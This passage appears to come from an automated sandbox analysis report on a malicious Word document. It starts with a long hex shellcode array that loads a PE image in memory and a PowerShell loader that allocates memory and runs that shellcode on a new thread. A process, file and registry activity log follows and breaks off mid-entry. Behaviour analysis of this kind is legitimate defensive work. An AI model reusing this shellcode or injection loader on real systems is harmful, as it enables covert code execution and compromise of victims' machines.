0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 <#tf#>0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#yx#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#sa#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF <#sz#>0xFF 0xFF 0x00 0x74 <#qsf#>0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#thl#>0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#pdl#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF <#zr#>0x55 0xAC 0x85 0xC0 0x75 0x02 <#hgl#>0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B <#co#>0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF <#hfa#>0x33 0xF6 0x8D 0x8D 0x00 <#yx#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 <#uhz#>0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 <#qdx#>0x15 <#xr#>0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D <#iil#>0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 <#fas#>0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#npc#>0x6A <#sf#>0x40 <#hi#>0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#ul#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF <#woa#>0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#uw#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF <#fdw#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF <#jku#>0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF <#ge#>0xFF 0xEB 0x05 0x6A <#trb#>0x00 0xFF 0x55 0xA4 0x8B <#cj#>0x85 0x60 0xFF 0xFF 0xFF 0x48 <#xgk#>0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 <#zu#>0x00 <#rz#>0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#pe#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B <#ti#>0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF <#pa#>0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B <#vm#>0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D <#iye#>0x3C 0xFF 0xFF 0xFF 0x75 0x95 <#xyg#>0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 <#oai#>0x66 <#nps#>0x81 <#dz#>0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 <#gx#>0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF <#wwe#>0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 <#oq#>0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 <#xg#>0x7D <#cl#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#is#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 <#ov#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 <#oju#>0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#bc#>0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF <#el#>0xFF 0xFF 0x6A <#puq#>0x60 0x8B 0x85 0x7C 0xFF 0xFF <#cj#>0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 <#vvi#>0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF <#nr#>0xFF <#thl#>0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 <#tet#>0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 <#vi#>0x8D 0x0C 0x89 0x03 0xD1 <#fco#>0x89 0x95 0x50 0xFF 0xFF <#mk#>0xFF 0x8B <#si#>0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF <#lnc#>0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 <#xem#>0x8B 0x40 0x34 <#mkz#>0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 <#zci#>0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 <#ne#>0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 <#mcq#>0x8B 0x80 0xA0 0x00 0x00 0x00 <#ws#>0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B <#qn#>0x45 0xEC 0x8B <#ors#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 <#zeb#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 0xE8 <#mjb#>0x48 <#ld#>0x85 <#em#>0xC0 <#yz#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 <#zdc#>0x0C 0x8B 0xCA <#sy#>0x66 0x81 <#eco#>0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 <#xno#>0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF <#jwa#>0xFF 0xFF <#lp#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 0x38 0x00 0x77 0x8A 0x8B <#enc#>0x45 0xD0 0x8B 0x55 0xF8 <#vl#>0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B <#evh#>0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 <#uyv#>0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D <#yb#>0xF8 <#lrf#>0x57 0xFF 0x55 0xBC <#hk#>0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 <#whj#>0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 <#he#>0xF8 0x89 0x45 0x88 0xEB 0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B <#ybs#>0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#qr#>0xEB 0x37 0x8B 0x45 <#ej#>0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 <#cuw#>0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 <#jud#>0x8B 0x55 <#iv#>0x84 0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B <#fh#>0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 <#or#>0x45 0x8C <#zpa#>0x14 0x8B 0x45 0x8C 0x8B 0x78 <#aj#>0x0C 0x85 0xFF 0x0F 0x85 <#fyp#>0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F <#ia#>0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 0x65 0x5C <#tor#>0x55 0x6B 0x4B 0x38 0x52 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fkp#>0x00 0x00 0x00 0x00 0x00 0x00 <#ewe#>0x00 0x00 <#an#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x70 0x66 0x7A 0x31 0x78 0x79 0x44 0x62 0x71 0x67 0x00 0x00 <#qxa#>0x00 0x00 0x00 0x00 0x00 0x53 0xEE 0x89 0x61 0xBB 0xA0 0x31 0xB0 0x5D <#mds#>0x87 0x2D 0x49 <#ta#>0xF9 0x0D 0xC5 0x4F 0xAC 0x84 0x21 0xE3 0xD7 0x1B 0x30 0xB4 0x82 0x25 0x53 0x32 0x4A 0x4C 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C <#pl#>0x00 <#vdq#>0x3C 0x00 0x3A 0x00 0x3A <#sc#>0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 <#av#>0x6C 0x00 0x62 <#djc#>0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 <#ib#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#nm#>0x00 0x00 0x00 <#ywi#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D <#oqc#>0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x86 0x5E 0x88 0x53 0xBF 0xB4 0x07 0xE1 0x08 0x10 0xD9 0xCD 0xB6 0xB6 0xEB 0x1E 0xB8 0x09 0x94 0xB8 0x44 0x7B 0xC5 0x3E 0xD3 0xDD 0x7F 0x42 0xF3 0xE5 0xC7 0x16 0xD1 0x56 0xA2 0x7E 0x99 <#ho#>0x4D 0xBF 0x19 0x05 0x84 0xE0 0x47 0xB7 0x86 0x33 0xDC 0x45 0x38 0x15 0xED 0xF5 0x33 0x09 <#ov#>0x75 0xB4 0xBB; #omha $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #hbjkh if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #dthuix for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #wrkbggp ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #qltkex }sleep(1200);}catch{}exit; #lwzv #magtengmuoxcpgrckntrjtlzogioqyxc"), Spawned process "1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe" with commandline "%TEMP%\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe" "%TEMP%\1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.php" 1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP 0.13066 MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiLjfVHA1Pd9tdUIRKiSeBGW+zu30Qs8s9KPhq0JniiaLrR6n/YGDI7Jb73v4+149b9OrDb0pRDtEDFt5BAnvuFB12CeV8lsKQ8a0VsW5Ha8GsAxytydEVC40oKoS+4xav90Y4K/JsAgbwdnY9YwKJaGuSsoerYkkNHeYi9dhS0qTmtmkqBTIFBPCe0Gf3kbiAdVWSCSvDba85jRRz+9BcTyIZ5lpkF9GODuLTGdYZmCpSRvLPxEkLJKfpxabndqYyqXz4JxaB72KV7mX+w70iJiKk9qpkK7qb2aaGl8k1vq1rIHg9jgS2LC3aghfIJAudtCx9pJH2bdzmNiLD+WCHQIDAQAB"" (UID: 00043311-00003472), Spawned process "regsvr32.exe" (UID: 00047128-00002084), Spawned process "regsvr32.exe" with commandline "%WINDIR%\system32\regsvr32.exe" (UID: 00047274-00002160)2e:T54f,"CabEF0A.tmp" has type "Microsoft Cabinet archive data 52608 bytes 1 file" "1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Wed Jun 28 06:02:02 2017 mtime=Wed Jun 28 06:02:02 2017 atime=Wed Jun 28 06:02:12 2017 length=14444 window=hide" "index.dat" has type "data" "~WRD0000.doc" has type "data" "Tar3098.tmp" has type "data" "Cab1977.tmp" has type "Microsoft Cabinet archive data 52608 bytes 1 file" "php5.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows" "CabAF14.tmp" has type "Microsoft Cabinet archive data 50939 bytes 1 file" "TarEF0B.tmp" has type "data" "~WRD0002.doc" has type "data" "TarC3D4.tmp" has type "data" "1d303.bat" has type "ASCII text with CRLF line terminators" "94308059B57B3142E455B38A6EB92015" has type "data" "~WRS{6F09949B-A671-4297-BEE2-4EEB9E42C967}.tmp" has type "data" "Tar1978.tmp" has type "data" "ExcludeDictionaryEN0409.lex" has type "Little-endian UTF-16 Unicode text with no line terminators" "1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP.exe" has type "PE32 executable (console) Intel 80386 for MS Windows" "TarAF1F.tmp" has type "data" "CabC2E1.tmp" has type "Microsoft Cabinet archive data 50939 bytes 1 file" "CabC3D3.tmp" has type "Microsoft Cabinet archive data 52608 bytes 1 file"2f:T41b,"wscript.exe" touched file "%WINDIR%\System32\en-US\WScript.exe.mui" "wscript.exe" touched file "%WINDIR%\System32\WScript.exe" "wscript.exe" touched file "%WINDIR%\Globalization\Sorting\sortdefault.nls" "wscript.exe" touched file "%WINDIR%\system32\rsaenh.dll" "wscript.exe" touched file "%WINDIR%\system32\en-US\KERNELBASE.dll.mui" "wscript.exe" touched file "%WINDIR%\System32\msxml3r.dll" "wscript.exe" touched file "%WINDIR%\System32\msxml3.dll\1" "wscript.exe" touched file "%WINDIR%\System32\msxml3.dll" "wscript.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies" "wscript.exe" touched file "%APPDATA%\Microsoft\Windows\Cookies\index.dat" "wscript.exe" touched file "%APPDATA%\Microsoft\Windows\IETldCache\index.dat" "wscript.exe" touched file "C:\Users\4n7G62T\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\counter[1]" "wscript.exe" touched file "%WINDIR%\system32\wshom.ocx" "wscript.exe" touched file "%WINDIR%\system32\stdole2.tlb" "wscript.exe" touched file "%WINDIR%\system32\scrrun.dll"30:T8d9,"regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "regsvr32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")31:T6b3,"wscript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "mshta.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "mshta.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "regsvr32.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "regsvr32.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "regsvr32.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "regsvr32.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "regsvr32.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")32:Tba1,"wscript.exe" wrote bytes "7739137779a81777be721777d62d17771de2127705a21777c868167757d11d77bee31277616f1777684115770050157700000000ad3758758b2d5875b641587500000000" to virtual address "0x74CA1000" (part of module "WSHIP6.DLL") "wscript.exe" wrote bytes "4053157758581677186a1677653c17770000000000bfb7750000000056ccb775000000007ccab7750000000037683b756a2c1777d62d17770000000020693b750000000029a6b77500000000a48d3b7500000000f70eb77500000000" to virtual address "0x75AE1000" (part of module "NSI.DLL") "wscript.exe" wrote bytes "92e6127779a81777be721777d62d17771de2127705a21777bee31277616f1777684115770050157700000000ad3758758b2d5875b641587500000000" to virtual address "0x747D1000" (part of module "WSHTCPIP.DLL") "WINWORD.EXE" wrote bytes "e93655baec" to virtual address "0x76E53EAE" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e99e48e3ed" to virtual address "0x75B83D01" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "31002d00" to virtual address "0x6C7163DC" (part of module "MLANG.DLL") "WINWORD.EXE" wrote bytes "e9c5325fed" to virtual address "0x769A6143" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "694f9ea4" to virtual address "0x6611F530" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "b1319ca4" to virtual address "0x6D3BCA70" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "e92399bcec" to virtual address "0x76E55DEE" ("VariantChangeType@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "4c889ea4" to virtual address "0x64C178E4" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "1a767d6c" to virtual address "0x6BA59904" (part of module "RICHED20.DLL") "WINWORD.EXE" wrote bytes "809a4c6c" to virtual address "0x6C7A10AC" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "e96033baec" to virtual address "0x76E54731" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e99a54b9ec" to virtual address "0x76E53E59" ("SysFreeString@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "3b5f2f6a" to virtual address "0x2F971B94" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "c4cab77580bbb775fc1db3759fbbb77508bbb77546ceb7756138b875de2fb875d0d9b77500000000177930774f9130777f6f3077f4f7307711f73077f2833077857e307700000000" to virtual address "0x72BE1000" (part of module "MSIMG32.DLL") "WINWORD.EXE" wrote bytes "9fa02c6a" to virtual address "0x63C10BA8" (part of module "MSO.DLL") "1FeZr4bvMpCf1QTS49VjsdhtnP6zPvMjbP2.exe" wrote bytes "4053157758581677186a1677653c17770000000000bfb7750000000056ccb775000000007ccab7750000000037683b756a2c1777d62d17770000000020693b750000000029a6b77500000000a48d3b7500000000f70eb77500000000" to virtual address "0x75AE1000" (part of module "NSI.DLL") "powershell.exe" wrote bytes "0857dd750478e6750000000051c1ca759498ca75ee9cca7575dccc75273ecc75efb2d0750000000046ceb775013db87538edb875cfcdb7753123b775de2fb875c4cab77580bbb775fc1db3759fbbb77592bbb77546bab7750abfb77500000000" to virtual address "0x6C681000" (part of module "SHFOLDER.DLL")33:T56e,"wscript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000401") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000040D") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000041E") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "0000042A") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000439") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000420") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000429") "WINWORD.EXE" (Path: 